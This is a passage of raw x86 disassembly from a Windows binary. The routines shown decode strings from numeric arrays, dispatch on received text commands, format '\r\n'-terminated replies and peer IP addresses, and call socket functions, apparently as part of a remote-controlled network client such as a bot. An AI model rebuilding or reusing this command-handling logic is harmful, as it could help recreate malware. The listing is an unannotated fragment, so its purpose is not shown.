		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B10	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411B28:				; CODE XREF: sub_411B10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411B40	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411B66
		lea	edi, [esi+11h]
		jmp	short loc_411B68
; ---------------------------------------------------------------------------


loc_411B66:				; CODE XREF: sub_411B40+1Fj
		xor	edi, edi


loc_411B68:				; CODE XREF: sub_411B40+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_411B40	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411BBC
		lea	ebx, [esi+11h]
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BBC:				; CODE XREF: ___:00411BB5j
		xor	ebx, ebx


loc_411BBE:				; CODE XREF: ___:00411BBAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C1B
		lea	ebx, [esi+11h]
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C1B:				; CODE XREF: ___:00411C14j
		xor	ebx, ebx


loc_411C1D:				; CODE XREF: ___:00411C19j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C70
		lea	ebx, [esi+11h]
		jmp	short loc_411C72
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: ___:00411C69j
		xor	ebx, ebx


loc_411C72:				; CODE XREF: ___:00411C6Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CC5
		lea	ebx, [esi+11h]
		jmp	short loc_411CC7
; ---------------------------------------------------------------------------


loc_411CC5:				; CODE XREF: ___:00411CBEj
		xor	ebx, ebx


loc_411CC7:				; CODE XREF: ___:00411CC3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D18
		lea	ebx, [esi+11h]
		jmp	short loc_411D1A
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: ___:00411D11j
		xor	ebx, ebx


loc_411D1A:				; CODE XREF: ___:00411D16j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D71
		lea	ebx, [esi+11h]
		jmp	short loc_411D73
; ---------------------------------------------------------------------------


loc_411D71:				; CODE XREF: ___:00411D6Aj
		xor	ebx, ebx


loc_411D73:				; CODE XREF: ___:00411D6Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DCF
		lea	ebx, [esi+11h]
		jmp	short loc_411DD1
; ---------------------------------------------------------------------------


loc_411DCF:				; CODE XREF: ___:00411DC8j
		xor	ebx, ebx


loc_411DD1:				; CODE XREF: ___:00411DCDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E2A
		lea	ebx, [esi+11h]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: ___:00411E23j
		xor	ebx, ebx


loc_411E2C:				; CODE XREF: ___:00411E28j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E85
		lea	ebx, [esi+11h]
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: ___:00411E7Ej
		xor	ebx, ebx


loc_411E87:				; CODE XREF: ___:00411E83j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FE0	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411FE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4120E2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_4470F0
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CDC
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_411FE0+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412159
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_411FE0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412214
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412532
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412214:				; CODE XREF: sub_411FE0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122BD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470F4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4122BD:				; CODE XREF: sub_411FE0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41232B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_447120
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_411FE0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41238D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CD4
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_411FE0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41242D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41242D:				; CODE XREF: sub_411FE0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412532
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447124
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CC4
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412532
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_411FE0+3Aj
					; sub_411FE0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_448C8E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_412532:				; CODE XREF: sub_411FE0+FDj
					; sub_411FE0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411FE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126B0	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4126B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr byte_5EA1BD
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F60
		call	sub_4015D7
		push	offset dword_443D08
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset dword_443D04
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset dword_443D04
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_4127BB
		push	offset dword_443CF8
		jmp	short loc_4127C0
; ---------------------------------------------------------------------------


loc_4127BB:				; CODE XREF: sub_4126B0+102j
		push	offset dword_443CEC


loc_4127C0:				; CODE XREF: sub_4126B0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4126B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412870	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4128CE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C8E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4128CE:				; CODE XREF: sub_412870+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412970
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4129A7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_412970+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4129C8
		mov	eax, dword_4470F0
		push	eax
		jmp	short loc_4129CF
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_412970+4Ej
		mov	ecx, dword_4470F8
		push	ecx


loc_4129CF:				; CODE XREF: sub_412970+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset dword_443CDC
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AA0	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C8E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412B90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


